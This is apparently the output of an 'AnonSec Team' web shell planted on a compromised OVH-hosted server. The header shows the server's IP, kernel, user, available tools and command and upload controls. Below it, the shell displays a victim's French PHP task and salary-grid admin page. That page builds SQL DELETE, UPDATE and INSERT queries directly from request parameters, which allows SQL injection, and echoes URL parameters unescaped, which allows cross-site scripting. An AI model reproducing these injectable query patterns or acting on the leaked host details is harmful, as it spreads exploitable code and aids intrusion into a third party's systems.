AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TMCPRO/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TMCPRO/pages/grille_de_salaires.php
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;

// $page = "tache_generale.php" ; 

exit() ; 
	 // echo "<pre>" ; 
 // print_r($_SESSION) ; 
 // echo "<pre>" ; 
 
 // echo "===>".$_SESSION['MCPRO']['user_id'] ; 
 $user_ide =  $_SESSION['MCPRO']['user_id']  ; 
// print_r($_GET) ; 
// function dbi_num_rowss ( $res ) {
	// return $res->rowCount();
// }
// function dbi_Last_Instrr( $res) {
	// $last_id = $conn->insert_id;
	// global $conn;
	// $last_id = mysqli_insert_id($conn);
	// $last_id = $conn->insert_id;
	// $mysqli->insert_id
	// $last_id = mysqli_insert_id($conn);
	// return  mysqli_insert_id($conn) ;
	// return $conn->lastInsertId();
	// $dbh->lastInsertId();
// }
// print_r($_SESSION);
if($_GET['sup']== 1)
{
	 // echo "<pre>" ; 
 // print_r($_GET) ; 
 // echo "<pre>" ; 
 
 // exit() ; 
	// "DELETE FROM `tache` WHERE `tache`.`tache_id` = 1"?
	dbi_query("DELETE FROM `tache` WHERE tache_id  =".$_GET['tache_id']) ;
	
			header('Location:tache_generale.php?msg= <strong> Bien : </strong>Tache bien supprimé&color=success');
		
}


if(!empty($_POST['update_tache']))
{

 
$tache_sujet = addslashes($_POST['tache_sujet']) ; 
$tache_Priorite = $_POST['tache_Priorite'] ; 
$salarie_id = $_POST['salarie_id'] ; 
$client_id = $_POST['client_id'] ; 
$tache_designation = addslashes($_POST['tache_designation']) ; 
$tache_Priorite = $_POST['tache_Priorite'] ; 


dbi_query("UPDATE `tache` SET `client_id` = '$client_id ', `tache_Priorite` = '$tache_Priorite ', `salarie_id` = '$salarie_id',
 `tache_sujet` = '$tache_sujet', `tache_designation` = '$tache_designation' WHERE `tache`.`tache_id` = ".$_POST['update_tache']) ; 
 
	header("Location:tache_generale.php?msg=tache bien mofifié&color=success");

}	

if( isset($_POST['tache_id'] ) )
{
	$tache_id = $_POST['tache_id'];
	// $IN = "  NOT IN ( ";
	if( isset($_POST['tache_status']) )
		dbi_query(" update tache SET tache_status ='1' WHERE tache_id = '".$tache_id."' ");
	else
		dbi_query(" update tache SET tache_status ='0' WHERE tache_id = '".$tache_id."' ");	
	if( !empty($_POST['sous_tache_designation']) )
    {
        foreach( $_POST['sous_tache_designation'] as $index => $donnees )
        {
            $sous_tache_designation = $_POST['sous_tache_designation'][$index]; 
		    $sous_tache_date_fin = $_POST['sous_tache_date_fin'][$index];
			$user_id = $_POST['user_id'][$index];
			$sous_tache_status = $_POST['sous_tache_status'][$index];
			$sous_tache_id = $_POST['sous_tache_id'][$index];
			// $q= dbi_query("SELECT * FROM sous_tache WHERE tache_id = '".$tache_id."' AND  user_id = '".$user_id."' AND  sous_tache_date_fin = '".$sous_tache_date_fin."'" );
			// $cl=dbi_fetch_row($q);
			if( $sous_tache_id > 0 )
			{
				// $IN .= " ".$cl['sous_tache_id']." , ";
				// echo " update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'";
				dbi_query(" update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'");
			
}
			else
			{
			$res = dbi_query(" INSERT INTO  sous_tache (sous_tache_designation, sous_tache_date_fin,user_id, sous_tache_status,tache_id,actif)
				 VALUES  ('$sous_tache_designation','$sous_tache_date_fin','$user_id','$sous_tache_status','$tache_id','1')") ;
// echo " INSERT INTO  sous_tache (sous_tache_designation, sous_tache_date_fin,user_id, sous_tache_status,tache_id,actif)
				 // VALUES  ('$sous_tache_designation','$sous_tache_date_fin','$user_id','$sous_tache_status','$tache_id','1')";				 
				 // echo "New record has id: " . mysqli_insert_id($conn).' $$ '. $conn->insert_id.' $$ '.mysqli_insert_id($conn).' $$ '; 
			// $IN .= "  ".$conn->insert_id." , ";				 
			}
        }
    } 
	// $IN .= "  0 ) ";
	// dbi_query(" update sous_tache SET actif ='0'  WHERE sous_tache_id ".$IN."  and tache_id = '".$tache_id."'");
	// echo " update sous_tache SET actif ='0'  WHERE sous_tache_id ".$IN."  and tache_id = '".$tache_id."'";
	
	
}
 if(!empty($_GET['salarie_id']))
{
$_SESSION["salarie_id"]=$_GET['cleint_id'];

}
 $client_id=$_SESSION["cleint_id"] ; 	


 
  if(!empty($_POST) AND empty($_POST['update_tache']))
			 {

		  
 // echo "<pre>" ; 
 // print_r($_POST) ; 
 // echo "<pre>" ; 
 
 if(!empty($_POST['tache_date_fin']))
						{ 
 $tache_date_fin= dateformaint($_POST['tache_date_fin']) ;
						}
 // echo "==> $tache_date_fin <br/>" ; 
 // exit() ; 
          
		  $date_creation = date("Ymd");  
		  
						$tache_sujet=addslashes($_POST['tache_sujet']) ; 
						
						// $tache_date_fin=$_POST['tache_date_fin'] ; 
						
						$tache_Priorite=$_POST['tache_Priorite'] ;  
						$salarie_id=$_POST['salarie_id'] ; 
						$client_id=$_POST['client_id'] ; 
						$user_id=$_POST['user_id'] ; 
						$tache_designation=addslashes($_POST['tache_designation']) ;
			
						
					
					dbi_query(" INSERT INTO  tache (
					tache_sujet, 
					tache_date_fin,
					tache_Priorite, 
					salarie_id,	
					client_id,	 
					user_id,
					tache_designation,
					date_creation
 )
 VALUES 
 (
 
 '$tache_sujet',
 '$tache_date_fin',
 '$tache_Priorite',
 '$salarie_id',
 '$client_id',
 '$user_ide',
 '$tache_designation',
 '$date_creation'
 
)") ;

list($tache_idd)=dbi_fetch_row(dbi_query("SELECT max(tache_id) FROM `tache`")) ; 
header("Location:fetch_record.php?msg=tache bien ajouté&color=success&page=$page&rowid=$tache_idd");
			 }
?>

<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <!-- Enregistrer le titre de la page --><title> LogMCPRO | TACHE</title>
												<!-- Tell the browser to be responsive to screen width -->
  <meta name="viewport" content="width=device-width, initial-scale=1">

												<!-- Font Awesome -->
  <link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
												<!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
												<!-- overlayScrollbars -->
  <link rel="stylesheet" href="../dist/css/adminlte.min.css">
												<!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
  
   <!-- daterange picker -->
  <link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
  

  <link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
  
  

<!--#####################################CDN LINKS OF BOOTSTRAP##########################################-->
 <!-- Latest compiled and minified CSS -->
 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">

<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>

<!-- Popper JS -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>

<!-- Latest compiled JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script> 

<!--font awesome for images icons -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--#####################################CDN LINKS OF BOOTSTRAP##########################################-->


 <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <link rel="stylesheet" href="../../dist/css/adminlte.min.css">
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
    <link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="../../dist/css/adminlte.min.css">
  <!-- summernote -->
  <link rel="stylesheet" href="../../plugins/summernote/summernote-bs4.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
  
    <style>
  .modal-header {
    padding: 15px;
    border-bottom: 1px solid #e5e5e5;
}
  .modal-header {
    background: #226faa;
    background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
    background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
    border-radius: 6px;
    color: #fff;
    padding: 18px;
    border-bottom-left-radius: 0;
    border-bottom-right-radius: 0;
    border-color: transparent;
}

.modal-header .close {
    margin-top: -3px;
    font-size: 24px;
    font-weight: 400;
    color: #fff;
    opacity: .9;
    width: 28px;
    height: 28px;
    padding-bottom: 0;
    padding-left: 1px;
}
button.close {
    padding: 0;
    cursor: pointer;
    background: 0 0;
    border: 0;
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
}


.task-single-col-right {
    background: #f0f5f7;
    padding: 13px 20px;
    border-bottom-right-radius: 6px;
}

@media (min-width: 992px)
.col-md-4 {
    width: 33.33333333%;
}

@media (min-width: 992px)
.col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9 {
    float: left;
}

@media (min-width: 992px)
.col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9 {
    float: left;
}
.col-lg-1, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-sm-1, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-xs-1, .col-xs-10, .col-xs-11, .col-xs-12, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9 {
    position: relative;
    min-height: 1px;
    padding-right: 15px;
    padding-left: 15px;
}
.staff-profile-image-small {
    height: 64px;
    width: 64px;
    border-radius: 50%;
}
img {
    vertical-align: middle;
}
img {
    border: 0;
}
.task-single-col-right {
    background: #f0f5f7;
    padding: 13px 20px;
    border-bottom-right-radius: 6px;
}
.task-single-col-left {
    padding: 25px;
    background: #fff;
    border-bottom-left-radius: 6px;
}

.btn-group-vertical>.btn-group:after, .btn-group-vertical>.btn-group:before, .btn-toolbar:after, .btn-toolbar:before, .clearfix:after, .clearfix:before, .container-fluid:after, .container-fluid:before, .container:after, .container:before, .dl-horizontal dd:after, .dl-horizontal dd:before, .form-horizontal .form-group:after, .form-horizontal .form-group:before, .modal-footer:after, .modal-footer:before, .modal-header:after, .modal-header:before, .nav:after, .nav:before, .navbar-collapse:after, .navbar-collapse:before, .navbar-header:after, .navbar-header:before, .navbar:after, .navbar:before, .pager:after, .pager:before, .panel-body:after, .panel-body:before, .row:after, .row:before {
    display: table;
    content: " ";
  </style>
</head> 
<body class="hold-transition sidebar-mini">	

 <script language="Javascript">
										   function GetIdBureau()
										   {
												var tache_status="";
											  tache_status = document.client_statu_form.client_statu.value ;
											if( tache_status > 0 || tache_status=="INDEFINI" )
											  window.location = "tache_generale.php?tache_status="+tache_status;
												else
											window.location = "tache_generale.php";
										   }
										</script>


								
<!-- Site wrapper -->
<div class="wrapper">

<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
 <!-- Menu extensible -->
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
      </li>
<!-- liens TOP MENU GAUCHE-->
		<li>
		 <h3><button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-tache"><i class="fas fa-plus"></i> Nouvelle grille</button></h3>
		</li>
		
      
    </ul>

 <!-- liens TOP MENU DROITE -->
 
 
    <ul class="navbar-nav ml-auto">
     <!-- Placer ici l'élément à positionner à droite du TOP MENU -->
    </ul>
  
  </nav> 
  
  
<!-- BARRE DE NAVIGATION -->


<?php include('menu.php'); ?>



 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">



<div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
  <div class="modal-dialog modal-lg">
    <div class="modal-content data">
		<div id="fetch" ></div>
		
           
        </div>
    </div>
</div>



		 <div class="modal fade" id="modal-tache">
        <div class="modal-dialog modal-lg">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Nouvelle grille</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
			
			
            <div class="modal-body">

			
               <div class="card-body">


   <form action="" method="POST">   
 <!-- ///////Ligne société & Catégorie --> 
<!-- ///////Ligne -->   
  <div class="form-row"> 
<div class="form-group col-md-3">
   <label>Catégorie</label>
                <select class="form-control" name="salarie_categorie_id">
			
				<option value="-1" selected="<?php if($q['salarie_categorie_designation']== NULL ) { echo 'selected' ;} ?> " disabled="disabled">-Cat&#233;gorie-</option>
                    
				<?php
				
				$aq =dbi_query("SELECT * FROM `salarie_categorie`") ; 	
				while($etabs = dbi_fetch_row($aq))
				{
					
				?>
					<option value="<?=$etabs['salarie_categorie_id'] ?>"  <?php if($etabs['salarie_categorie_id']==$q['salarie_categorie_id']) echo 'SELECTED'; ?>  ><?=$etabs['salarie_categorie_designation'] ?></option>
					<?
				}
				
				?>
                </select>
   </div>
   
    
   
 
   
   
   
 <div class="form-group col-md-3">
 
 
    <label>Position</label>
                <select class="form-control" name="salarie_position">
				  <option value="-1" selected="<?php if($q['salarie_position']== NULL ) { echo 'selected' ;} ?> " disabled="disabled">-Position-</option>
			<?php
				
				$req =dbi_query("SELECT * FROM `position`") ; 	
				while($pos = dbi_fetch_row($req))
				{
					
				?>
                          <option value="<?=$pos['position_ID'] ; ?>" ><?php echo $pos['Position']  ; ?></option>
						  
				<?php  }?>
                </select>
    
   </div>
   
   
   

	
	
	       <div class="form-group col-md-3"><!-- Liste déroulante jour -->  
                <label>Echelon</label>
                <select class="form-control" name="salarie_echelon"  value="<?=$q['salarie_echelon'] ; ?>">
				<option value="-1" selected="<?php if($q['salarie_echelon']== NULL ) { echo 'selected' ;} ?> " disabled="disabled">-Echelon-</option>
               
                          <option value="1"  <?php if($q['salarie_echelon']=='1') echo 'SELECTED'; ?>  >1</option>
                          <option value="2" <?php if($q['salarie_echelon']=='2') echo 'SELECTED'; ?> > 2</option>
						  <option value="3" <?php if($q['salarie_echelon']=='3') echo 'SELECTED'; ?> > 3</option>
						  
                </select>
    </div>
	
	
	
	
	  <div class="form-group col-md-3">
      <label for="inputsociete">Salarie Horaire</label>
     
	  <input type="text"	 class="form-control" name="salarie_horaire"  required>
  
   </div>
	
	
	
             
           
		

   



	
  </div>  
                
				
               
              </div>
  
            </div>
            <div class="modal-footer justify-content-between">
              <button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
              <button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>
			  
			  </form>
            </div>
          </div>
          <!-- /.modal-content -->
        </div>
        <!-- /.modal-dialog -->
      </div>
          
        </div><!-- /.row -->
      </div>
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  
	  <!-- /.container-fluid -->
    </div>
    <!-- /.content-header -->

    <!-- PAGE PRINCIPALE -->
   
   <?php 
   $_SESSION["tache_status"] = 0 ; 
   
   $where1 = "and tache_status  = 0" ; 
   
   if(!empty($_GET['tache_status']))
   {
	   // echo "<pre>" ; 
	   // print_r($_GET) ; 
	   // echo "</pre>" ; 
	   
	   $where1 = "and tache_status = ".$_GET['tache_status'] ; 
	   
	   $_SESSION["tache_status"] =$_GET['tache_status']  ; 
   }
   
   // echo "=====> ".$_SESSION["tache_status"]."<br/>" ; 
   ?>
   
   
   	
    <section class="content">
	
					  		  <?php
			      if(isset($_GET["msg"])){
        ?>
        <div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
          <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
          <button type="button" class="close" data-dismiss="alert" aria-label="Close">
            <span aria-hidden="true">&times;</span>
          </button>
        </div>
        <?php
        }
       ?>
      <div class="row">
        <div class="col-12">
         <div class="card card-primary card-outline">
            <div class="card-header">
			
            
			<div class="row">
			  <div class="col-sm-11"><h3 class="card-title"> <i class="nav-icon fas fa-id-card"></i> LISTE DES TACHE</h3> </div>
			  <div class="col-sm-1"></div>
			   
            </div> 
            </div>
            <!-- /.card-header -->
            <div class="card-body">
			
			
			
								<form id="client_statu_form" name="client_statu_form" method="POST"  action="">							
							  <div class="form-row"> 
								<div class="form-group col-md-4">
								  <div class="input-group">						 
											  <select class="form-control select" style="width: 100%;" id="client_statu" name="client_statu" onchange="GetIdBureau()"; >
												    <option value="0"  <?php if($_SESSION["tache_status"]== 0 ){echo "selected"  ;}?>>Tache non complété</option>
													<option value="1" <?php if($_SESSION["tache_status"]== 1 ){echo "selected"  ;} ?>>Tache complété</option>
											  </select>
									</div> 
								</div>
   
   

	 
   
						</div> 
						</form>
						
			
			
			
              <table id="example1" class="table table-bordered table-striped">
                <thead>
                <tr>
                  <th>Sujet</th>     		<!-- /.Table Client - Champs client_nom -->
                 
                  <th>Priorité</th> 	<!-- /.Table Client - Champs client_cp -->
                  <th>Salarié</th>		<!-- /.Table Client - Champs client_ville -->
                  <th>Client</th>
				  <th>User</th>
				  <th>Designation</th>		<!-- /.Table Client - Champs client_id -->
				  <th>Action</th> 		<!-- /.Table Client - Champs client_adr1 -->
                </tr>
                </thead>
                <tbody>
				<?php
				// $q= dbi_query("SELECT * FROM tache t , client c ,  users u where t.`client_id` = c.`client_id` and  t.`user_id` = u.`user_id`");
				$q= dbi_query("SELECT * FROM tache t ,  users u where   t.`user_id` = u.`user_id` $where1 ");
				
				// echo 
				while($cl=dbi_fetch_row($q))
				{
					
					
					list($salarie_nom , $salarie_prenom)= dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$cl['salarie_id'])) ; 
					  
					  if($cl['client_id']!= 0)
					  {
					  list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom   FROM `client` WHERE `client_id` = ".$cl['client_id'])) ; 
					  }
					  else
					  { $client_nom = " <strong style='color:red;'> Pas de client concerné </strong>"; }
					  
					if(empty($salarie_nom) AND empty($salarie_prenom))
					{
						$salarie_nom = " <strong style='color:red;'>Pas de " ; 
						$salarie_prenom = "salarié </strong> " ; 
					}
					
					if($cl['tache_Priorite']== 1)
					{
						$tache_Priorite= "Moyen" ; 
					}
					elseif($cl['tache_Priorite']== 2)
					{
						 $tache_Priorite= "Haute" ; 
					}
					elseif($cl['tache_Priorite']== 3)
					{
					$tache_Priorite= "Urgente" ; 
					}
						$page = "tache_generale.php" ; 
				
					?>
					
					<tr>
                <?php // echo '<td><a href="#myModal"  id="custId" data-toggle="modal" data-id="'.$cl['tache_id'].'">'.$cl['tache_sujet'].'</a></td>';?>
				<td> <a href="fetch_record.php?rowid=<?=$cl['tache_id']?>&page=<?=$page?>">  <?php echo $cl['tache_sujet'] ; ?> </a> </td>
                 
                  <td><?php echo $tache_Priorite ;  ?></td>
				  <td><?php echo $salarie_nom." ".$salarie_prenom;  ?></td>
				  <td><?php echo $client_nom ;  ?></td>
				   <td><?php echo $cl['user_nom']." ".$cl['user_prenom'] ;  ?></td>
                 <td><?php echo $cl['tache_designation'] ;  ?></td>
				   	<td align="center">
			
				  
				   <?php echo '<a class="btn btn-info btn-sm" href="#myModal"  id="custId" data-toggle="modal" data-id="'.$cl['tache_id'].'"><i class="fas fa-pencil-alt"></i> </a>';?>
				   	   <a class="btn btn-danger btn-sm" href="tache_generale.php?tache_id=<?=$cl['tache_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer cet tache ?');">
              
				 <i class="fas fa-trash"></i>
                             
				   </a>
				   </td>
                </tr>
						
					<?
				}
				?>
                
                           
                
               
                </tbody>
                <tfoot>
                 <tr>
                  <th>Sujet</th>     		<!-- /.Table Client - Champs client_nom -->
                  
                  <th>Priorité</th> 	<!-- /.Table Client - Champs client_cp -->
                  <th>Salarié</th>		<!-- /.Table Client - Champs client_ville -->
                  <th>Client</th>
				  <th>User</th>
				  <th>Designation</th>		<!-- /.Table Client - Champs client_id -->
				  <th>Action</th> 		<!-- /.Table Client - Champs client_adr1 -->
                </tr>
                </tfoot>
              </table>
            </div>
            <!-- /.card-body -->
          </div>
          <!-- /.card -->
        </div>
        <!-- /.col -->
      </div>
      <!-- /.row -->
    </section>
    <!-- /.content -->
   
   
   
			  
			  
			






			
			  
			  
            </div>
     
          <!-- /.col-md-6 -->
      
<!-- Modal -->

 
  <!-- /.content-wrapper -->


  
  
  
  
  
  
  
  
  <!-- /.control-sidebar -->
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.1
    </div>
    <strong>Copyright &copy; 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
    reserved.
  </footer>

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->

<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>

<script src="../plugins/select2/js/select2.full.min.js"></script>
<script src="../../plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="../../plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.min.js"></script>
<!-- InputMask -->
<script src="../../plugins/moment/moment.min.js"></script>
<script src="../../plugins/inputmask/min/jquery.inputmask.bundle.min.js"></script>
<!-- date-range-picker -->
<script src="../../plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="../../plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="../../plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="../../plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page script -->
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })

    //Datemask dd/mm/yyyy
    $('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
    //Datemask2 mm/dd/yyyy
    $('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
    //Money Euro
    $('[data-mask]').inputmask()

    //Date range picker
    $('#reservation').daterangepicker()
    //Date range picker with time picker
    $('#reservationtime').daterangepicker({
      timePicker: true,
      timePickerIncrement: 30,
      locale: {
        format: 'MM/DD/YYYY hh:mm A'
      }
    })
    //Date range as a button
    $('#daterange-btn').daterangepicker(
      {
        ranges   : {
          'Today'       : [moment(), moment()],
          'Yesterday'   : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
          'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
          'Last 30 Days': [moment().subtract(29, 'days'), moment()],
          'This Month'  : [moment().startOf('month'), moment().endOf('month')],
          'Last Month'  : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
        },
        startDate: moment().subtract(29, 'days'),
        endDate  : moment()
      },
      function (start, end) {
        $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
      }
    )

    //Timepicker
    $('#timepicker').datetimepicker({
      format: 'LT'
    })
    
    //Bootstrap Duallistbox
    $('.duallistbox').bootstrapDualListbox()

    //Colorpicker
    $('.my-colorpicker1').colorpicker()
    //color picker with addon
    $('.my-colorpicker2').colorpicker()

    $('.my-colorpicker2').on('colorpickerChange', function(event) {
      $('.my-colorpicker2 .fa-square').css('color', event.color.toString());
    });

    $("input[data-bootstrap-switch]").each(function(){
      $(this).bootstrapSwitch('state', $(this).prop('checked'));
    });

  })
</script>

<!-- AdminLTE App --
<script src="../../dist/js/app.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>


<!-- page script -->
<script>
  $(function () {
    $("#example1").DataTable();
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false
    });
  });
</script>

<script type="text/javascript">
$(document).ready(function(){
    $('#myModal').on('show.bs.modal', function (e) {
        var rowid = $(e.relatedTarget).data('id');
        $.ajax({
            type : 'post',
            url : 'AjaxModifTache.php', //Here you will fetch records 
            data :  'rowid='+ rowid, //Pass $id
            success : function(data){
            $('#fetch').html(data);//Show fetched data from database
            }
        });
     });
});

    
</script>

	 
</html>


































 
  



<!--
<script src="../../bower_components/select2/dist/js/select2.full.min.js"></script>
<!-- InputMask --
<script src="../../plugins/input-mask/jquery.inputmask.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.date.extensions.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.extensions.js"></script>
<!-- date-range-picker --
<script src="../../bower_components/moment/min/moment.min.js"></script>
<script src="../../bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
<!-- bootstrap datepicker --
<script src="../../bower_components/bootstrap-datepicker/dist/js/bootstrap-datepicker.min.js"></script>
<!-- bootstrap color picker --
<script src="../../bower_components/bootstrap-colorpicker/dist/js/bootstrap-colorpicker.min.js"></script>
<!-- bootstrap time picker --
<script src="../../plugins/timepicker/bootstrap-timepicker.min.js"></script>
<!-- SlimScroll --
<script src="../../bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- iCheck 1.0.1 --
<script src="../../plugins/iCheck/icheck.min.js"></script>
<!-- FastClick --
<script src="../../bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Page script -->
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Datemask dd/mm/yyyy
    $('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
    //Datemask2 mm/dd/yyyy
    $('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
    //Money Euro
    $('[data-mask]').inputmask()

    //Date range picker
    $('#reservation').daterangepicker()
    //Date range picker with time picker
    $('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
    //Date range as a button
    $('#daterange-btn').daterangepicker(
      {
        ranges   : {
          'Today'       : [moment(), moment()],
          'Yesterday'   : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
          'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
          'Last 30 Days': [moment().subtract(29, 'days'), moment()],
          'This Month'  : [moment().startOf('month'), moment().endOf('month')],
          'Last Month'  : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
        },
        startDate: moment().subtract(29, 'days'),
        endDate  : moment()
      },
      function (start, end) {
        $('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
      }
    )

    //Date picker
    $('#datepicker').datepicker({
      autoclose: true
    })

    //iCheck for checkbox and radio inputs
    $('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
      checkboxClass: 'icheckbox_minimal-blue',
      radioClass   : 'iradio_minimal-blue'
    })
    //Red color scheme for iCheck
